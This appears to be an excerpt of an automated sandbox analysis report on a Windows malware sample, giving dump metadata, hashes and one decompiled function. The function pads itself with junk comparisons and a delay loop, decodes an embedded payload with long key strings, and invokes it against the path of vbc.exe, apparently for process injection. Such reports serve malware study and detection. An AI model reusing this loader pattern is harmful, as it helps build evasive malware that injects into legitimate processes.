__EH_prolog3_GS.LIBCMT ref: 0040C4CA
_Fputc.LIBCPMT ref: 0040C51E
_Fputc.LIBCPMT ref: 0040C64C

Strings

, xrefs: 0040C5D6

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Fputc$H_prolog3_
String ID:
API String ID: 2569218679-3916222277
Opcode ID: f93c5e7c30b631e10cd89d48582b8b6df191312a96be545cfe6c8e4f3189b3ba
Instruction ID: e7c7cebc1992edac428f44868c61a51297f644a3040aeb09f87af29f6c56a46d
Opcode Fuzzy Hash: f93c5e7c30b631e10cd89d48582b8b6df191312a96be545cfe6c8e4f3189b3ba
Instruction Fuzzy Hash: C1517135900204DBCF25DBA5C8D09EEB7B5EF44304F204A3FE552B72C1EB39A8458B98

Uniqueness

Uniqueness Score: -1.00%

Function 004031C0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 1002
sleepCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004031C0(signed int __eax, intOrPtr __edx) {
				intOrPtr _v12;
				intOrPtr _v16;
				signed char _v20;
				intOrPtr _v36;
				intOrPtr _v52;
				char* _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				long _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				long _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				long _v148;
				intOrPtr _v152;
				signed char _t533;
				intOrPtr _t534;
				void* _t540;
				intOrPtr _t544;

				_t544 = __edx;
				_t533 = __eax;
				_v56 = L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe";
				_v72 =  *0x421cf8;
				_v72 =  *0x421cf4;
				_v72 =  *0x421cf0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v72 =  *0x421cec;
					_v72 =  *0x421ce8;
				}
				_v72 =  *0x421ce4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x421ce0;
					_v72 =  *0x421cdc;
				}
				_v72 =  *0x421cd8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x421cd4;
					_v72 =  *0x421cd0;
				}
				_v72 =  *0x421ccc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x421cc8;
					_v72 =  *0x421cc4;
				}
				_v72 =  *0x421cc0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x421cbc;
					_v72 =  *0x421cb8;
				}
				_v68 =  *0x421cb4;
				_v68 =  *0x421cb0;
				_v68 =  *0x421cac;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x421ca8;
					_v68 =  *0x421ca4;
				}
				_v68 =  *0x421ca0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x421c9c;
					_v68 =  *0x421c98;
				}
				_v68 =  *0x421c94;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x421c90;
					_v68 =  *0x421c8c;
				}
				_v68 =  *0x421c88;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x421c84;
					_v68 =  *0x421c80;
				}
				_v68 =  *0x421c7c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x421c78;
					_v68 =  *0x421c74;
				}
				_v36 =  *0x421c70;
				_v36 =  *0x421c6c;
				_v36 =  *0x421c68;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x421c64;
					_v36 =  *0x421c60;
				}
				_v36 =  *0x421c5c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x421c58;
					_v36 =  *0x421c54;
				}
				_v36 =  *0x421c50;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x421c4c;
					_v36 =  *0x421c48;
				}
				_v36 =  *0x421c44;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x421c40;
					_v36 =  *0x421c3c;
				}
				_v36 =  *0x421c38;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x421c34;
					_v36 =  *0x421c30;
				}
				_v16 =  *0x421c2c;
				_v16 =  *0x421c28;
				_v16 =  *0x421c24;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x421c20;
					_v16 =  *0x421c1c;
				}
				_v16 =  *0x421c18;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x421c14;
					_v16 =  *0x421c10;
				}
				_v16 =  *0x421c0c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x421c08;
					_v16 =  *0x421c04;
				}
				_v16 =  *0x421c00;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x421bfc;
					_v16 =  *0x421bf8;
				}
				_v16 =  *0x421bf4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x421bf0;
					_v16 =  *0x421bec;
				}
				_v64 =  *0x421be8;
				_v64 =  *0x421be4;
				_v64 =  *0x421be0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v64 =  *0x421bdc;
					_v64 =  *0x421bd8;
				}
				_v64 =  *0x421bd4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v64 =  *0x421bd0;
					_v64 =  *0x421bcc;
				}
				_v64 =  *0x421bc8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v64 =  *0x421bc4;
					_v64 =  *0x421bc0;
				}
				_v64 =  *0x421bbc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v64 =  *0x421bb8;
					_v64 =  *0x421bb4;
				}
				_v64 =  *0x421bb0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v64 =  *0x421bac;
					_v64 =  *0x421ba8;
				}
				_v76 =  *0x421ba4;
				_v76 =  *0x421ba0;
				_v76 =  *0x421b9c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x421b98;
					_v76 =  *0x421b94;
				}
				_v76 =  *0x421b90;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x421b8c;
					_v76 =  *0x421b88;
				}
				_v76 =  *0x421b84;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x421b80;
					_v76 =  *0x421b7c;
				}
				_v76 =  *0x421b78;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x421b74;
					_v76 =  *0x421b70;
				}
				_v76 =  *0x421b6c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x421b68;
					_v76 =  *0x421b64;
				}
				_v52 =  *0x421b60;
				_v52 =  *0x421b5c;
				_v52 =  *0x421b58;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v52 =  *0x421b54;
					_v52 =  *0x421b50;
				}
				_v52 =  *0x421b4c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v52 =  *0x421b48;
					_v52 =  *0x421b44;
				}
				_v52 =  *0x421b40;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v52 =  *0x421b3c;
					_v52 =  *0x421b38;
				}
				_v52 =  *0x421b34;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v52 =  *0x421b30;
					_v52 =  *0x421b2c;
				}
				_v52 =  *0x421b28;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v52 =  *0x421b24;
					_v52 =  *0x421b20;
				}
				_v12 =  *0x421b1c;
				_v12 =  *0x421b18;
				_v12 =  *0x421b14;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v12 =  *0x421b10;
					_v12 =  *0x421b0c;
				}
				_v12 =  *0x421b08;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v12 =  *0x421b04;
					_v12 =  *0x421b00;
				}
				_v12 =  *0x421afc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v12 =  *0x421af8;
					_v12 =  *0x421af4;
				}
				_v12 =  *0x421af0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v12 =  *0x421aec;
					_v12 =  *0x421ae8;
				}
				_v12 =  *0x421ae4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v12 =  *0x421ae0;
					_v12 =  *0x421adc;
				}
				Sleep(0); // executed
				_v80 = 0;
				_v20 = 0;
				_v20 = 0;
				while(_v20 < 0x2079e) {
					_v80 = _v80 + 1;
					_t533 = _v20 + 1;
					_v20 = _t533;
				}
				if(_v80 == 0x2079e) {
					_v136 = 0;
					_v112 = 0;
					_v152 = 0x590813;
					_v132 =  *0x421ad8;
					_v148 = 0;
					_v144 =  *0x421ad4;
					_v144 =  *0x421ad0;
					_v144 =  *0x421acc;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v144 =  *0x421ac8;
						_v144 =  *0x421ac4;
					}
					_v144 =  *0x421ac0;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v144 =  *0x421abc;
						_v144 =  *0x421ab8;
					}
					_v144 =  *0x421ab4;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v144 =  *0x421ab0;
						_v144 =  *0x421aac;
					}
					_v144 =  *0x421aa8;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v144 =  *0x421aa4;
						_v144 =  *0x421aa0;
					}
					_v144 =  *0x421a9c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v144 =  *0x421a98;
						_v144 =  *0x421a94;
					}
					_v140 =  *0x421a90;
					_v140 =  *0x421a8c;
					_v140 =  *0x421a88;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v140 =  *0x421a84;
						_v140 =  *0x421a80;
					}
					_v140 =  *0x421a7c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v140 =  *0x421a78;
						_v140 =  *0x421a74;
					}
					_v140 =  *0x421a70;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v140 =  *0x421a6c;
						_v140 =  *0x421a68;
					}
					_v140 =  *0x421a64;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v140 =  *0x421a60;
						_v140 =  *0x421a5c;
					}
					_v140 =  *0x421a58;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v140 =  *0x421a54;
						_v140 =  *0x421a50;
					}
					_v124 =  *0x421a4c;
					_v124 =  *0x421a48;
					_v124 =  *0x421a44;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x421a40;
						_v124 =  *0x421a3c;
					}
					_v124 =  *0x421a38;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x421a34;
						_v124 =  *0x421a30;
					}
					_v124 =  *0x421a2c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x421a28;
						_v124 =  *0x421a24;
					}
					_v124 =  *0x421a20;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x421a1c;
						_v124 =  *0x421a18;
					}
					_v124 =  *0x421a14;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x421a10;
						_v124 =  *0x421a0c;
					}
					_v84 =  *0x421a08;
					_v84 =  *0x421a04;
					_v84 =  *0x421a00;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x4219fc;
						_v84 =  *0x4219f8;
					}
					_v84 =  *0x4219f4;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x4219f0;
						_v84 =  *0x4219ec;
					}
					_v84 =  *0x4219e8;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x4219e4;
						_v84 =  *0x4219e0;
					}
					_v84 =  *0x4219dc;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x4219d8;
						_v84 =  *0x4219d4;
					}
					_v84 =  *0x4219d0;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x4219cc;
						_v84 =  *0x4219c8;
					}
					_v120 =  *0x4219c4;
					_v120 =  *0x4219c0;
					_v120 =  *0x4219bc;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4219b8;
						_v120 =  *0x4219b4;
					}
					_v120 =  *0x4219b0;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4219ac;
						_v120 =  *0x4219a8;
					}
					_v120 =  *0x4219a4;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4219a0;
						_v120 =  *0x42199c;
					}
					_v120 =  *0x421998;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x421994;
						_v120 =  *0x421990;
					}
					_v120 =  *0x42198c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x421988;
						_v120 =  *0x421984;
					}
					_v116 =  *0x421980;
					_v116 =  *0x42197c;
					_v116 =  *0x421978;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v116 =  *0x421974;
						_v116 =  *0x421970;
					}
					_v116 =  *0x42196c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v116 =  *0x421968;
						_v116 =  *0x421964;
					}
					_v116 =  *0x421960;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v116 =  *0x42195c;
						_v116 =  *0x421958;
					}
					_v116 =  *0x421954;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v116 =  *0x421950;
						_v116 =  *0x42194c;
					}
					_v116 =  *0x421948;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v116 =  *0x421944;
						_v116 =  *0x421940;
					}
					_v128 =  *0x42193c;
					_v128 =  *0x421938;
					_v128 =  *0x421934;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v128 =  *0x421930;
						_v128 =  *0x42192c;
					}
					_v128 =  *0x421928;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v128 =  *0x421924;
						_v128 =  *0x421920;
					}
					_v128 =  *0x42191c;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v128 =  *0x421918;
						_v128 =  *0x421914;
					}
					_v128 =  *0x421910;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v128 =  *0x42190c;
						_v128 =  *0x421908;
					}
					_v128 =  *0x421904;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v128 =  *0x421900;
						_v128 =  *0x4218fc;
					}
					_v96 =  *0x4218f8;
					_v96 =  *0x4218f4;
					_v96 =  *0x4218f0;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v96 =  *0x4218ec;
						_v96 =  *0x4218e8;
					}
					_v96 =  *0x4218e4;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v96 =  *0x4218e0;
						_v96 =  *0x4218dc;
					}
					_v96 =  *0x4218d8;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v96 =  *0x4218d4;
						_v96 =  *0x4218d0;
					}
					_v96 =  *0x4218cc;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v96 =  *0x4218c8;
						_v96 =  *0x4218c4;
					}
					_v96 =  *0x4218c0;
					asm("fcomp qword [0x421240]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v96 =  *0x4218bc;
						_v96 =  *0x4218b8;
					}
					_t534 = E004018B0(_t533,  &E00427008, 0x77e); // executed
					_v108 = _t534;
					_v104 = _t544;
					_v88 = E004029A0(E00401810("Xz67wLigZnWP7HS0hIm2OdijPtCSTmVUES6fHYzTIqtG3StL96o50VE5oHgiivgrBCyaKvgLXugZV2nfLoYqTVzDfi",  &E00427008, 0x77e, 0x5b));
					E00401000(_t536, "VgAVcD2SHAXnQe2lUrUpQu4PVCzQ0Cu7MZvXuQOZAmWXjG2aRWH2M8sqiNk0mi3ui1MzFqdL9efqlfVbGkAAeHguQn", 0x427788, 0x21a00); // executed
					_t540 =  *((intOrPtr*)(_v88 +  &E00427008))(_v56, 0, 0x427788, 0x5b); // executed
					return _t540;
				}
				return _t533;
			}

0x004031c0
0x004031c0
0x004031c9
0x004031d6
0x004031df
0x004031e8
0x004031ee
0x004031f4
0x004031f9
0x00403201
0x0040320a
0x0040320a
0x00403213
0x00403219
0x0040321f
0x00403224
0x0040322c
0x00403235
0x00403235
0x0040323e
0x00403244
0x0040324a
0x0040324f
0x00403257
0x00403260
0x00403260
0x00403269
0x0040326f
0x00403275
0x0040327a
0x00403282
0x0040328b
0x0040328b
0x00403294
0x0040329a
0x004032a0
0x004032a5
0x004032ad
0x004032b6
0x004032b6
0x004032bf
0x004032c8
0x004032d1
0x004032d7
0x004032dd
0x004032e2
0x004032ea
0x004032f3
0x004032f3
0x004032fc
0x00403302
0x00403308
0x0040330d
0x00403315
0x0040331e
0x0040331e
0x00403327
0x0040332d
0x00403333
0x00403338
0x00403340
0x00403349
0x00403349
0x00403352
0x00403358
0x0040335e
0x00403363
0x0040336b
0x00403374
0x00403374
0x0040337d
0x00403383
0x00403389
0x0040338e
0x00403396
0x0040339f
0x0040339f
0x004033a8
0x004033b1
0x004033ba
0x004033c0
0x004033c6
0x004033cb
0x004033d3
0x004033dc
0x004033dc
0x004033e5
0x004033eb
0x004033f1
0x004033f6
0x004033fe
0x00403407
0x00403407
0x00403410
0x00403416
0x0040341c
0x00403421
0x00403429
0x00403432
0x00403432
0x0040343b
0x00403441
0x00403447
0x0040344c
0x00403454
0x0040345d
0x0040345d
0x00403466
0x0040346c
0x00403472
0x00403477
0x0040347f
0x00403488
0x00403488
0x00403491
0x0040349a
0x004034a3
0x004034a9
0x004034af
0x004034b4
0x004034bc
0x004034c5
0x004034c5
0x004034ce
0x004034d4
0x004034da
0x004034df
0x004034e7
0x004034f0
0x004034f0
0x004034f9
0x004034ff
0x00403505
0x0040350a
0x00403512
0x0040351b
0x0040351b
0x00403524
0x0040352a
0x00403530
0x00403535
0x0040353d
0x00403546
0x00403546
0x0040354f
0x00403555
0x0040355b
0x00403560
0x00403568
0x00403571
0x00403571
0x0040357a
0x00403583
0x0040358c
0x00403592
0x00403598
0x0040359d
0x004035a5
0x004035ae
0x004035ae
0x004035b7
0x004035bd
0x004035c3
0x004035c8
0x004035d0
0x004035d9
0x004035d9
0x004035e2
0x004035e8
0x004035ee
0x004035f3
0x004035fb
0x00403604
0x00403604
0x0040360d
0x00403613
0x00403619
0x0040361e
0x00403626
0x0040362f
0x0040362f
0x00403638
0x0040363e
0x00403644
0x00403649
0x00403651
0x0040365a
0x0040365a
0x00403663
0x0040366c
0x00403675
0x0040367b
0x00403681
0x00403686
0x0040368e
0x00403697
0x00403697
0x004036a0
0x004036a6
0x004036ac
0x004036b1
0x004036b9
0x004036c2
0x004036c2
0x004036cb
0x004036d1
0x004036d7
0x004036dc
0x004036e4
0x004036ed
0x004036ed
0x004036f6
0x004036fc
0x00403702
0x00403707
0x0040370f
0x00403718
0x00403718
0x00403721
0x00403727
0x0040372d
0x00403732
0x0040373a
0x00403743
0x00403743
0x0040374c
0x00403755
0x0040375e
0x00403764
0x0040376a
0x0040376f
0x00403777
0x00403780
0x00403780
0x00403789
0x0040378f
0x00403795
0x0040379a
0x004037a2
0x004037ab
0x004037ab
0x004037b4
0x004037ba
0x004037c0
0x004037c5
0x004037cd
0x004037d6
0x004037d6
0x004037df
0x004037e5
0x004037eb
0x004037f0
0x004037f8
0x00403801
0x00403801
0x0040380a
0x00403810
0x00403816
0x0040381b
0x00403823
0x0040382c
0x0040382c
0x00403835
0x0040383e
0x00403847
0x0040384d
0x00403853
0x00403858
0x00403860
0x00403869
0x00403869
0x00403872
0x00403878
0x0040387e
0x00403883
0x0040388b
0x00403894
0x00403894
0x0040389d
0x004038a3
0x004038a9
0x004038ae
0x004038b6
0x004038bf
0x004038bf
0x004038c8
0x004038ce
0x004038d4
0x004038d9
0x004038e1
0x004038ea
0x004038ea
0x004038f3
0x004038f9
0x004038ff
0x00403904
0x0040390c
0x00403915
0x00403915
0x0040391a
0x00403920
0x00403927
0x0040392e
0x00403940
0x0040394f
0x0040393a
0x0040393d
0x0040393d
0x0040395b
0x00403961
0x0040396b
0x00403972
0x00403982
0x00403985
0x00403995
0x004039a1
0x004039ad
0x004039b9
0x004039bf
0x004039c4
0x004039cc
0x004039d8
0x004039d8
0x004039e4
0x004039f0
0x004039f6
0x004039fb
0x00403a03
0x00403a0f
0x00403a0f
0x00403a1b
0x00403a27
0x00403a2d
0x00403a32
0x00403a3a
0x00403a46
0x00403a46
0x00403a52
0x00403a5e
0x00403a64
0x00403a69
0x00403a71
0x00403a7d
0x00403a7d
0x00403a89
0x00403a95
0x00403a9b
0x00403aa0
0x00403aa8
0x00403ab4
0x00403ab4
0x00403ac0
0x00403acc
0x00403ad8
0x00403ae4
0x00403aea
0x00403aef
0x00403af7
0x00403b03
0x00403b03
0x00403b0f
0x00403b1b
0x00403b21
0x00403b26
0x00403b2e
0x00403b3a
0x00403b3a
0x00403b46
0x00403b52
0x00403b58
0x00403b5d
0x00403b65
0x00403b71
0x00403b71
0x00403b7d
0x00403b89
0x00403b8f
0x00403b94
0x00403b9c
0x00403ba8
0x00403ba8
0x00403bb4
0x00403bc0
0x00403bc6
0x00403bcb
0x00403bd3
0x00403bdf
0x00403bdf
0x00403beb
0x00403bf4
0x00403bfd
0x00403c03
0x00403c09
0x00403c0e
0x00403c16
0x00403c1f
0x00403c1f
0x00403c28
0x00403c2e
0x00403c34
0x00403c39
0x00403c41
0x00403c4a
0x00403c4a
0x00403c53
0x00403c59
0x00403c5f
0x00403c64
0x00403c6c
0x00403c75
0x00403c75
0x00403c7e
0x00403c84
0x00403c8a
0x00403c8f
0x00403c97
0x00403ca0
0x00403ca0
0x00403ca9
0x00403caf
0x00403cb5
0x00403cba
0x00403cc2
0x00403ccb
0x00403ccb
0x00403cd4
0x00403cdd
0x00403ce6
0x00403cec
0x00403cf2
0x00403cf7
0x00403cff
0x00403d08
0x00403d08
0x00403d11
0x00403d17
0x00403d1d
0x00403d22
0x00403d2a
0x00403d33
0x00403d33
0x00403d3c
0x00403d42
0x00403d48
0x00403d4d
0x00403d55
0x00403d5e
0x00403d5e
0x00403d67
0x00403d6d
0x00403d73
0x00403d78
0x00403d80
0x00403d89
0x00403d89
0x00403d92
0x00403d98
0x00403d9e
0x00403da3
0x00403dab
0x00403db4
0x00403db4
0x00403dbd
0x00403dc6
0x00403dcf
0x00403dd5
0x00403ddb
0x00403de0
0x00403de8
0x00403df1
0x00403df1
0x00403dfa
0x00403e00
0x00403e06
0x00403e0b
0x00403e13
0x00403e1c
0x00403e1c
0x00403e25
0x00403e2b
0x00403e31
0x00403e36
0x00403e3e
0x00403e47
0x00403e47
0x00403e50
0x00403e56
0x00403e5c
0x00403e61
0x00403e69
0x00403e72
0x00403e72
0x00403e7b
0x00403e81
0x00403e87
0x00403e8c
0x00403e94
0x00403e9d
0x00403e9d
0x00403ea6
0x00403eaf
0x00403eb8
0x00403ebe
0x00403ec4
0x00403ec9
0x00403ed1
0x00403eda
0x00403eda
0x00403ee3
0x00403ee9
0x00403eef
0x00403ef4
0x00403efc
0x00403f05
0x00403f05
0x00403f0e
0x00403f14
0x00403f1a
0x00403f1f
0x00403f27
0x00403f30
0x00403f30
0x00403f39
0x00403f3f
0x00403f45
0x00403f4a
0x00403f52
0x00403f5b
0x00403f5b
0x00403f64
0x00403f6a
0x00403f70
0x00403f75
0x00403f7d
0x00403f86
0x00403f86
0x00403f8f
0x00403f98
0x00403fa1
0x00403fa7
0x00403fad
0x00403fb2
0x00403fba
0x00403fc3
0x00403fc3
0x00403fcc
0x00403fd2
0x00403fd8
0x00403fdd
0x00403fe5
0x00403fee
0x00403fee
0x00403ff7
0x00403ffd
0x00404003
0x00404008
0x00404010
0x00404019
0x00404019
0x00404022
0x00404028
0x0040402e
0x00404033
0x0040403b
0x00404044
0x00404044
0x0040404d
0x00404053
0x00404059
0x0040405e
0x00404066
0x0040406f
0x0040406f
0x00404078
0x00404081
0x0040408a
0x00404090
0x00404096
0x0040409b
0x004040a3
0x004040ac
0x004040ac
0x004040b5
0x004040bb
0x004040c1
0x004040c6
0x004040ce
0x004040d7
0x004040d7
0x004040e0
0x004040e6
0x004040ec
0x004040f1
0x004040f9
0x00404102
0x00404102
0x0040410b
0x00404111
0x00404117
0x0040411c
0x00404124
0x0040412d
0x0040412d
0x00404136
0x0040413c
0x00404142
0x00404147
0x0040414f
0x00404158
0x00404158
0x00404165
0x0040416d
0x00404170
0x00404191
0x004041a5
0x004041c0
0x00000000
0x004041c2
0x004041c8

APIs

Sleep.KERNELBASE(00000000), ref: 0040391A

Strings

Xz67wLigZnWP7HS0hIm2OdijPtCSTmVUES6fHYzTIqtG3StL96o50VE5oHgiivgrBCyaKvgLXugZV2nfLoYqTVzDfi, xrefs: 0040417F
VgAVcD2SHAXnQe2lUrUpQu4PVCzQ0Cu7MZvXuQOZAmWXjG2aRWH2M8sqiNk0mi3ui1MzFqdL9efqlfVbGkAAeHguQn, xrefs: 004041A0

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

